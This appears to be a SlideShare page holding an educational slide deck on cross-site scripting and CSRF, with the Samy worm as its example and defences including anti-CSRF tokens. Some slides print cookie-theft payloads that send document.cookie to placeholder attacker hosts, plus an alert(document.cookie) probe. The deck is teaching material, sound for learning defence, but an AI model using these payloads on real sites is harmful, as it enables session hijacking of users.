SlideShare a Scribd company logo
XSS and CSRF
A web application may include malicious HTML tags or script
in a dynamically generated page based on invalidated input
from faithful sources. This can be a problem when a web
server does not ensure that generated pages are properly
encoded to prevent unwanted execution of scripts. however
if input is not validated to prevent malicious HTML from being
presented to the user may cause a serious problem.
Usually web browsers have the capability to interpret
scripts embedded in web pages downloaded from a web
server. Those scripts may be written in a variety of scripting
languages and are execute by the client's browser. Most of
the browsers are installed in system with the capability to
execute scripts by default.
The best example of a Web Worm is the Samy Worm, the
first major worm of its kind, spread by exploiting a
persistent Cross-Site Scripting vulnerability in
MySpace.com’s personal profile web page template. In
October of 2005, Samy Kamkar the worms author,
updated h is profile Web page with the first copy of the
JavaScript exploit code.
When an authenticated MySpace user viewed Samy's
profile, the worm payload using XHR, forced the user's web
browser to add Samy as a friend, include Samy as the
user's hero ("but most of all, samy is my hero") , and alter
the user's profile with a copy of the malware code.
Starting with a single visitor the Samy Worm infection grew
exponentially to over 1,000,000 infected user profiles in
under 24 hours. MySpace was forced to shutdown its
website in order to stop the infection, fix the vulnerability,
and perform clean up.
Cross-site Scripting (XSS) is an attack technique which
involves echoing attacker-supplied code into a user's browser
instance. A browser instance can be a standard web browser
client, or a browser object embedded in a software product
such as the browser within like an RSS reader, or an email
client. The code itself is usually written in HTML/JavaScript, but
may also extend to VBScript, ActiveX, Java, Flash, or any
other browser-supported technology.
 Non-persistent,
 Persistent and
 DOM-based.
Xssandcsrf
 SSL-Encrypted Connections May Be
Exposed
 Attacks May Be Persistent Through
Poisoned Cookies
 Attacker May Access Restricted Web
Sites from the Client
 Domain Based Security Policies May Be
Violated
Many web sites has function where
registered users may post messages which
are stored in a database of some kind. A
registered user is commonly tracked using a
session ID cookie authorizing them to post. If
an attacker were to post a message
containing a specially crafted JavaScript, a
user reading this message could have their
cookies and their account extricated.
<SCRIPT>
document.location=
'http://example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Due to the fact that the attack Javscirpt
is stored on the server side, this form of xss
attack is persistent
Many web portals offer a personalized
view of a web site and may greet a
logged in user with "Welcome, <your
username>". Sometimes the data
referencing a logged in user is stored
within the query string of a URL and
echoed to the screen
http://example/index.php?
sessionid=12312312&username=<script>d
ocument.location='http://attackerhost/c
gi-
bin/cookiesteal.cgi?'+document.cookie
</script>
DOM based XSS does not need the web
server to receive the malicious XSS
payload. Instead, in a DOM-based Cross
Site referencing , the attacker scolds
embedding of attacker data in the client
side at runtime , from within a page which
is served from the web server.
Assume that the URL
http://www.vulnerable.site/welcome.html  
contains the following content:
<HTML><TITLE>Welcome!
</TITLE>Hi<SCRIPT>var
pos=document.URL.indexOf("name=")
+5;document.write(document.URL.substri
ng(pos,document.URL.length));</SCRIPT
> Welcome to our system…</HTML>
Reference from webappsec.org
In this example the JavaScript code
embeds part of document.URL (the page
location) into the page, without any
consideration for security. An attacker can
abuse this by luring the client to click on a
link such as
http://www.vulnerable.site/welcome.html?
name=<script>alert(document.cookie)</scr
ipt>  
which will embed the malicious JavaScript
payload into the page at runtime.
  <SCRIPT>
  var pos=document.URL.indexOf("name=")+5;
  var
name=document.URL.substring(pos,document.
URL.length);
  if (name.match(/^[a-zA-Z0-9]$/))
  {
       document.write(name);
  }
  else
  {
        window.alert("Security Error ");
  }
  </SCRIPT>
Reference from webappsec.org
CSRF is defined as an attack of a malicious
Web site which ask a user’s Web browser
to do a malicious action on a trusted
site.
CSRF is also known as Cross-Site Reference
attack, One-Click attack, Sidejacking, or
Session Riding.
Opposite to Cross-Site Scripting (XSS),
which exploits the fath a user has for a
particular site, CSRF exploits the fath that
a site has for a particular user. It is not
necessarily true that defences against
XSS also protect against CSRF.
Xssandcsrf
Xssandcsrf
Example
Example
The HTML form causes a GET request to
append the form data to an URL:
http://example.com/send_email.htm?
to=bob
%40example.com&subject=CSRFTEST&ms
g=When+the+user+...
The page send_mail.htm takes the URL
data and generates an e-mail to the
recipient from the user.
If an attacker can force the user’s browser
to send a HTTP GET request to
send_mail.html, then this page will send
an e-mail on the user’s behalf containing
data chosen by the attacker.
Source: CROSS-SITE REQUESTFORGERIES, Kjell
Jørgen Hole ,NoWires Research Group ,Department of
informatics, University of Bergen
 User must be “logged into” Trusted site
and also visit Attacking site.
 If Trusted site accepts GET requests, then
the <img> tag can be used to generate
a malicious request.
 If Trusted site only accepts POST requests,
then it is necessary to use a JavaScript to
generate malicious request.
 Allow a GET request to only retrieve
data, not modify data on the server
› This protects sites from CSRF using <img>tags
or other types of GET requests
› Recommendation follows RFC 2616
 Require all POST requests to include a
pseudorandom value
› Cryptographically strong value should be set
as a cookie in the user’s browser and be
included in every form submitted to the
server.
› The server should only accept POST request if
the random values in the cookie and the
form are equal Attacker doesn’t have
access to cookie
 Log out immediately after a task has
been completed
 Do not start other tasks while a sensitive
task is performed
 Never store usernames/password in
browser
Thanks !

More Related Content

What's hot (20)

PPTX
Cross-Site Scripting (XSS)
Daniel Tumser
 
PPTX
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
PDF
Cross site scripting attacks and defenses
Mohammed A. Imran
 
PPTX
Cross Site Scripting(XSS)
Nabin Dutta
 
PPTX
Xss (cross site scripting)
vinayh.vaghamshi _
 
PPTX
Cross site scripting
kinish kumar
 
PPTX
Click jacking
Ronan Dunne, CEH, SSCP
 
PPT
Xss talk, attack and defense
Prakashchand Suthar
 
PPTX
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape
 
PDF
Cross Site Scripting Going Beyond the Alert Box
Aaron Weaver
 
PPTX
Cross site scripting (xss)
Ritesh Gupta
 
PDF
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
PPTX
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
PPTX
Cm7 secure code_training_1day_xss
dcervigni
 
PPTX
Cross Site Scripting ( XSS)
Amit Tyagi
 
PPTX
What is xss, blind xss and xploiting google gadgets
Ziv Ginsberg
 
PPTX
XSS- an application security vulnerability
Soumyasanto Sen
 
PPTX
Owasp Top 10 A3: Cross Site Scripting (XSS)
Michael Hendrickx
 
PPTX
Cross site scripting
ashutosh rai
 
Cross-Site Scripting (XSS)
Daniel Tumser
 
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
Cross site scripting attacks and defenses
Mohammed A. Imran
 
Cross Site Scripting(XSS)
Nabin Dutta
 
Xss (cross site scripting)
vinayh.vaghamshi _
 
Cross site scripting
kinish kumar
 
Click jacking
Ronan Dunne, CEH, SSCP
 
Xss talk, attack and defense
Prakashchand Suthar
 
Cross Site Scripting Defense Presentation
Ikhade Maro Igbape
 
Cross Site Scripting Going Beyond the Alert Box
Aaron Weaver
 
Cross site scripting (xss)
Ritesh Gupta
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
Cross site scripting XSS
Ronan Dunne, CEH, SSCP
 
Cm7 secure code_training_1day_xss
dcervigni
 
Cross Site Scripting ( XSS)
Amit Tyagi
 
What is xss, blind xss and xploiting google gadgets
Ziv Ginsberg
 
XSS- an application security vulnerability
Soumyasanto Sen
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Michael Hendrickx
 
Cross site scripting
ashutosh rai
 

Similar to Xssandcsrf (20)

PDF
Secure Form Processing and Protection - Sunshine PHP 2015
Joe Ferguson
 
PDF
Web Vulnerabilities And Exploitation - Compromising The Web
Zero Science Lab
 
PDF
A4 A K S H A Y B H A R D W A J
bhardwajakshay
 
DOC
HallTumserFinalPaper
Daniel Tumser
 
PPTX
Web 2.0 PPT
yogendra singh chahar
 
PDF
Grey H@t - Cross-site Request Forgery
Christopher Grayson
 
PDF
Session7-XSS & CSRF
zakieh alizadeh
 
PPT
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
PPTX
Web application security
Jin Castor
 
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Sam Bowne
 
PDF
Cross Site Attacks
UTD Computer Security Group
 
DOCX
logout.php Session Data after Logout Username Email . $_.docx
smile790243
 
PPT
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
PDF
XSS.pdf
Okan YILDIZ
 
PDF
XSS.pdf
Okan YILDIZ
 
PDF
Secure Form Processing and Protection - Devspace 2015
Joe Ferguson
 
PDF
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET Journal
 
PPT
Web Aplication Vulnerabilities
Jbyte
 
PPT
Seguridad Web by Jordan Diaz
Jordan Diaz
 
Secure Form Processing and Protection - Sunshine PHP 2015
Joe Ferguson
 
Web Vulnerabilities And Exploitation - Compromising The Web
Zero Science Lab
 
A4 A K S H A Y B H A R D W A J
bhardwajakshay
 
HallTumserFinalPaper
Daniel Tumser
 
Grey H@t - Cross-site Request Forgery
Christopher Grayson
 
Session7-XSS & CSRF
zakieh alizadeh
 
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
Web application security
Jin Castor
 
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Sam Bowne
 
Cross Site Attacks
UTD Computer Security Group
 
logout.php Session Data after Logout Username Email . $_.docx
smile790243
 
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
XSS.pdf
Okan YILDIZ
 
XSS.pdf
Okan YILDIZ
 
Secure Form Processing and Protection - Devspace 2015
Joe Ferguson
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET Journal
 
Web Aplication Vulnerabilities
Jbyte
 
Seguridad Web by Jordan Diaz
Jordan Diaz
 
Ad

Recently uploaded (20)

PDF
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
PDF
Researching The Best Chat SDK Providers in 2025
Ray Fields
 
PDF
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PDF
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PPTX
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
PDF
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
PPTX
AVL ( audio, visuals or led ), technology.
Rajeshwri Panchal
 
PDF
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
PPTX
Agentic AI in Healthcare Driving the Next Wave of Digital Transformation
danielle hunter
 
PDF
introduction to computer hardware and sofeware
chauhanshraddha2007
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PPTX
Simple and concise overview about Quantum computing..pptx
mughal641
 
PDF
RAT Builders - How to Catch Them All [DeepSec 2024]
malmoeb
 
PPTX
The Future of AI & Machine Learning.pptx
pritsen4700
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PPTX
Agile Chennai 18-19 July 2025 | Workshop - Enhancing Agile Collaboration with...
AgileNetwork
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
Presentation about Hardware and Software in Computer
snehamodhawadiya
 
Researching The Best Chat SDK Providers in 2025
Ray Fields
 
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
AVL ( audio, visuals or led ), technology.
Rajeshwri Panchal
 
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
Agentic AI in Healthcare Driving the Next Wave of Digital Transformation
danielle hunter
 
introduction to computer hardware and sofeware
chauhanshraddha2007
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
Simple and concise overview about Quantum computing..pptx
mughal641
 
RAT Builders - How to Catch Them All [DeepSec 2024]
malmoeb
 
The Future of AI & Machine Learning.pptx
pritsen4700
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
Agile Chennai 18-19 July 2025 | Workshop - Enhancing Agile Collaboration with...
AgileNetwork
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
Ad

Xssandcsrf

  • 2. A web application may include malicious HTML tags or script in a dynamically generated page based on invalidated input from faithful sources. This can be a problem when a web server does not ensure that generated pages are properly encoded to prevent unwanted execution of scripts. however if input is not validated to prevent malicious HTML from being presented to the user may cause a serious problem.
  • 3. Usually web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. Those scripts may be written in a variety of scripting languages and are execute by the client's browser. Most of the browsers are installed in system with the capability to execute scripts by default.
  • 4. The best example of a Web Worm is the Samy Worm, the first major worm of its kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in MySpace.com’s personal profile web page template. In October of 2005, Samy Kamkar the worms author, updated h is profile Web page with the first copy of the JavaScript exploit code. When an authenticated MySpace user viewed Samy's profile, the worm payload using XHR, forced the user's web browser to add Samy as a friend, include Samy as the user's hero ("but most of all, samy is my hero") , and alter the user's profile with a copy of the malware code. Starting with a single visitor the Samy Worm infection grew exponentially to over 1,000,000 infected user profiles in under 24 hours. MySpace was forced to shutdown its website in order to stop the infection, fix the vulnerability, and perform clean up.
  • 5. Cross-site Scripting (XSS) is an attack technique which involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within like an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
  • 8.  SSL-Encrypted Connections May Be Exposed  Attacks May Be Persistent Through Poisoned Cookies  Attacker May Access Restricted Web Sites from the Client  Domain Based Security Policies May Be Violated
  • 9. Many web sites has function where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account extricated.
  • 10. <SCRIPT> document.location= 'http://example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Due to the fact that the attack Javscirpt is stored on the server side, this form of xss attack is persistent
  • 11. Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen
  • 13. DOM based XSS does not need the web server to receive the malicious XSS payload. Instead, in a DOM-based Cross Site referencing , the attacker scolds embedding of attacker data in the client side at runtime , from within a page which is served from the web server.
  • 14. Assume that the URL http://www.vulnerable.site/welcome.html   contains the following content: <HTML><TITLE>Welcome! </TITLE>Hi<SCRIPT>var pos=document.URL.indexOf("name=") +5;document.write(document.URL.substri ng(pos,document.URL.length));</SCRIPT > Welcome to our system…</HTML> Reference from webappsec.org
  • 15. In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as http://www.vulnerable.site/welcome.html? name=<script>alert(document.cookie)</scr ipt>   which will embed the malicious JavaScript payload into the page at runtime.
  • 16.   <SCRIPT>   var pos=document.URL.indexOf("name=")+5;   var name=document.URL.substring(pos,document. URL.length);   if (name.match(/^[a-zA-Z0-9]$/))   {        document.write(name);   }   else   {         window.alert("Security Error ");   }   </SCRIPT> Reference from webappsec.org
  • 17. CSRF is defined as an attack of a malicious Web site which ask a user’s Web browser to do a malicious action on a trusted site. CSRF is also known as Cross-Site Reference attack, One-Click attack, Sidejacking, or Session Riding.
  • 18. Opposite to Cross-Site Scripting (XSS), which exploits the fath a user has for a particular site, CSRF exploits the fath that a site has for a particular user. It is not necessarily true that defences against XSS also protect against CSRF.
  • 22. Example The HTML form causes a GET request to append the form data to an URL: http://example.com/send_email.htm? to=bob %40example.com&subject=CSRFTEST&ms g=When+the+user+... The page send_mail.htm takes the URL data and generates an e-mail to the recipient from the user.
  • 23. If an attacker can force the user’s browser to send a HTTP GET request to send_mail.html, then this page will send an e-mail on the user’s behalf containing data chosen by the attacker. Source: CROSS-SITE REQUESTFORGERIES, Kjell Jørgen Hole ,NoWires Research Group ,Department of informatics, University of Bergen
  • 24.  User must be “logged into” Trusted site and also visit Attacking site.  If Trusted site accepts GET requests, then the <img> tag can be used to generate a malicious request.  If Trusted site only accepts POST requests, then it is necessary to use a JavaScript to generate malicious request.
  • 25.  Allow a GET request to only retrieve data, not modify data on the server › This protects sites from CSRF using <img>tags or other types of GET requests › Recommendation follows RFC 2616
  • 26.  Require all POST requests to include a pseudorandom value › Cryptographically strong value should be set as a cookie in the user’s browser and be included in every form submitted to the server. › The server should only accept POST request if the random values in the cookie and the form are equal Attacker doesn’t have access to cookie
  • 27.  Log out immediately after a task has been completed  Do not start other tasks while a sensitive task is performed  Never store usernames/password in browser